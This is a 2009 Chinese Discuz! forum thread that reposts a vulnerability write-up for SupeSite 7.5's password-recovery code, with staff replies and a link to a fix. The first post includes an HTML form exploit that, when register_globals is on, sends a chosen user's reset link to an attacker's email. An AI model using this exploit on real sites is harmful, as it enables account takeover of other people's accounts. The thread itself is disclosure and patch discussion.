Discuz!官方免费开源建站系统

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索

[已答复] SS 漏洞。刚从黑客网站看来的

[复制链接]
kangqiao8886 发表于 2009-12-22 11:43:13 | 显示全部楼层 |阅读模式
本帖最后由 lidq.jingwu 于 2009-12-23 11:58 编辑
  1.                  supesite7.5找回密码的鸡肋问题!  

  2. 02   

  3. 03      source/do_lostpasswd.php 这是找回密码的文件!      

  4. 04   

  5. 05   

  6. 06 if(submitcheck('lostpwsubmit')) {  

  7. 07            

  8. 08         $_POST['username'] = trim($_POST['username']);  

  9. 09            

  10. 10         if ($_POST['username']) {  

  11. 11                 $user = uc_get_user($_POST['username']);  

  12. 12                 $query = $_SGLOBAL['db']->query("SELECT * FROM ".tname('userlog')." WHERE uid='$user[0]'");  

  13. 13                    

  14. 14                 if ($_SGLOBAL['db']->fetch_array($query)) {  

  15. 15                         showmessage('user_delete', geturl('action/login'), 10);  

  16. 16                 }  

  17. 17                    

  18. 18                 $query = $_SGLOBAL['db']->query("SELECT uid, groupid, flag, email FROM ".tname('members')." WHERE uid='$user[0]'");  

  19. 19                 $member = $_SGLOBAL['db']->fetch_array($query);  

  20. 20                 if(empty($member)) {  

  21. 21                         showmessage('user_does_not_exist', S_URL.'/do.php?action=lostpasswd');  

  22. 22                 }  

  23. 23                 $uemail = empty($member['email']) ? substr($user[2], strpos($user[2], '@')) : substr($member['email'], strpos($member['email'], '@'));  

  24. 24                 // 管理员组, 有站点设置权限, 受保护用户不可找回密码  

  25. 25                 if ($member['groupid'] == 1 || checkperm('managesettings', $member['groupid']) || $member['flag']) {  

  26. 26                         showmessage('getpasswd_account_invalid', S_URL.'/do.php?action=lostpasswd', 10);  

  27. 27                 }   

  28. 28         }  

  29. 29   

  30. 30         $_POST['email'] = trim($_POST['email']);  

  31. 31   

  32. 32   

  33. 33         if ($_POST['email']) {  

  34. 34                 if ($_POST['email'] == $user[2] || $_POST['email'] == $member['email']) {                //邮箱验证  

  35. 35                         include(S_ROOT.'./function/sendmail.fun.php');  

  36. 36                         $idstring = random(6);  

  37. 37                         $reseturl = $_SC['siteurl'].'/do.php?action=lostpasswd&op=reset&uid='.$user[0].'&id='.$idstring;  

  38. 38                         updatetable('members', array('authstr'=>$_SGLOBAL['timestamp']."\t1\t".$idstring), array('uid'=>$user[0]));  

  39. 39                         $message = str_replace('\\1', "$reseturl", $lang['get_passwd_message']);  

  40. 40                         if(!sendmail(array($_POST['email']), $lang['get_passwd_subject'], $message)) {  

  41. 41                                 showmessage('mail_send_fail', geturl('action/login'), 10);  

  42. 42                         }  

  43. 43                         showmessage('email_send_success', geturl('action/login'), 10);  

  44. 44                 }else {  

  45. 45                         showmessage('email_username_does_not_match', S_URL.'/do.php?action=lostpasswd', 10);  

  46. 46                 }  

  47. 47         }  

  48. 48            

  49. 49 }  

  50. 50       从以上相关代码可以看到我们如果不提交$_POST['username'],那么$user和$member数组是没有初始化的,可以直接构造它们绕过相关检查条件,发送任意要取回密码用户的邮件到我们指定的邮箱!  

  51. 51       鸡肋地方在于系统register_globals = On,并且程序能正常发送邮件!  

  52. 52       利用方法如下:  

  53. 53   

  54. 54 <form name="a" action="http://127.0.0.1/supersite7.5/do.php?action=lostpasswd&user[2]  

  55. 55   

  56. 56 =xxxxx@qq.com&user[0]=1" method="post">  

  57. 57 <input type="hidden" name="formhash" value="f9659fba" />  

  58. 58 <input type="hidden" value="true" name="lostpwsubmit"/>  

  59. 59 <th>邮箱</th>  

  60. 60 <input type="text" value="xxxxx@qq.com" name="email" size="30"/>  

  61. 61 <input type="submit" value="提交" class="input_search"/>  

  62. 62 </form>  

  63. 63   

  64. 64     注:本人在网上找了几个站测试了下效果不理想,大多是没开启register_globals或邮件功能的!  

  65. 65 写出来和大家多交流学习!
复制代码

register_globals 选项默认是关闭,只有人为原因才会将此选项开启。
关于register_globals 的问题在网上有很多,都是要求关闭的,大部分的服务器也是这样做的,所以大可不必惊慌。

解决伪造请求,获取密码问题[7.5]:https://discuz.dismall.com/thread-1523398-1-1.html

评分

1

查看全部评分

 楼主| kangqiao8886 发表于 2009-12-22 11:44:31 | 显示全部楼层
管理员 出来  这个是不是漏洞呀      


如果真的是漏洞 赶紧出补丁呀     并且给我金币!
回复

使用道具 举报

lidq.jingwu 发表于 2009-12-22 13:28:06 | 显示全部楼层
本帖最后由 lidq.jingwu 于 2009-12-22 14:05 编辑

回复 1# kangqiao8886


    这个算不上漏洞,在php.ini中环境变量:register_globals 是默认关闭的,也就是在php环境安装好后,还没有做任何的优化时,这个选项是关闭的。
所以这个构不成问题。反过来说,如果那个空间或公司的网站将这个选项人为的打开,只能说明他们内部的安全做得不好导致的问题。
  1. if(submitcheck('lostpwsubmit')) {  
复制代码
这一句会对请求进行过滤,如果是手动伪造的表单,它是不可能提交成功的。
  1.          if ($_POST['username']) {  
  2.                  $user = uc_get_user($_POST['username']);  
复制代码
这个判断是先判断的$_POST['username'],如果传的值中没有这一项,永远过不去。
而下面的给$user赋值的语句也是过不去的,查数据库查不到会被赋值为空,而如果开启了register_globals,则$user的值到这里已经被更改,不存在任何的危险了。
回复

使用道具 举报

 楼主| kangqiao8886 发表于 2009-12-22 15:13:38 | 显示全部楼层
谢谢了       早上看到 还以为吓一条  感谢SS!
回复

使用道具 举报

游狼部落 发表于 2009-12-22 18:00:41 | 显示全部楼层
别怕别怕,有伟大的精武同学在,一切别怕
回复

使用道具 举报

computur 发表于 2009-12-22 21:46:49 | 显示全部楼层
没事就好。
回复

使用道具 举报

koder 发表于 2009-12-23 00:14:09 | 显示全部楼层
回复 3# lidq.jingwu


    if(submitcheck('lostpwsubmit')) 就可以过滤伪造的表单?  伪造的HTTP请求一样可以POST数据。就那个submitcheck的forhash的更改时间是1000000秒吧(12天??)

评分

1

查看全部评分

回复

使用道具 举报

koder 发表于 2009-12-23 00:16:34 | 显示全部楼层
我发现我喜欢找上面那个Comsens Team的把柄

以后发言先想清楚再说  不要暴露自己的php水平哦
回复

使用道具 举报

shenwu 发表于 2009-12-23 00:18:38 | 显示全部楼层
呵呵!~
回复

使用道具 举报

就是一枪 发表于 2009-12-23 00:30:22 | 显示全部楼层
SS的确是有漏洞的,我今天早上就发现ss的index.php被黑了,文件头和尾部都加上了恶意代码。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|小黑屋|Discuz! 官方站 ( 皖ICP备16010102号 )star

GMT+8, 2024-11-18 00:45 , Processed in 0.033018 second(s), 7 queries , Gzip On, Redis On.

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.

快速回复 返回顶部 返回列表